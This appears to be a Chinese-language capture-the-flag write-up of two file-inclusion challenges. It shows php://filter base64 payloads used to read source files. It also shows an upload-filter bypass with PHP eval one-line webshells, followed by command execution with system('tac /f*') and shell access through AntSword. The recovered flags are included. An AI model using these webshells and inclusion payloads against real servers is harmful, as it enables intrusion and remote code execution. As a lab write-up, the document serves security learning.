# 文件包含 1
开启场景看看
发现有个 index.php,那么就构造 poc 去读取它
poc1:
?file=php://filter/resource=index.php
poc2:
?file=php://filter/read=convert.base64-encode/resource=index.php
poc1 的话是直接读取 index.php 的内容,但是很多时候不会显示在页面上,因此我们就用 poc2 去进行 base64 编码然后显示在浏览器上
复制下编码后解码得到 flag
flag{2df58e9eb2c56228c9b4b0045103451c}
# 文件包含 2
打开环境
f12 查看到有个 upload.php 的注释
访问看看
发现是个上传口
而且提示只能上传 jpg gif
png 格式的文件,那么就先 bp 抓包上传最普通的一句话木马试试
发现上传成功,不知道对内容有没有进行过滤
根据路径去查看一下上传上去的一句话
对比一下,很明显发现 <? php ?>
全被过滤了,那就试试别的一句话
一:
<?=eval($_POST['1']);echo'a';
二:
<script language=php>
echo'a';eval($_POST['pass']); </script>
一:
同样上传成功,去访问下看看
显示 a,证明成功了
可以 hackbar 进行命令执行获取 flag 也可以蚁剑连接 getshell
二:
使用了 script 标签
同样上传成功
同样输出 a
以二为例使用 hackbar 获取 flag
测试后门成功,接着利用语句
pass=system("tac /f*");phpinfo();
获得 flag
以二为例利用蚁剑 getshell 获取 flag
在根目录下找到 flag
flag{51191745789e4c01bc43f0e3b157e281}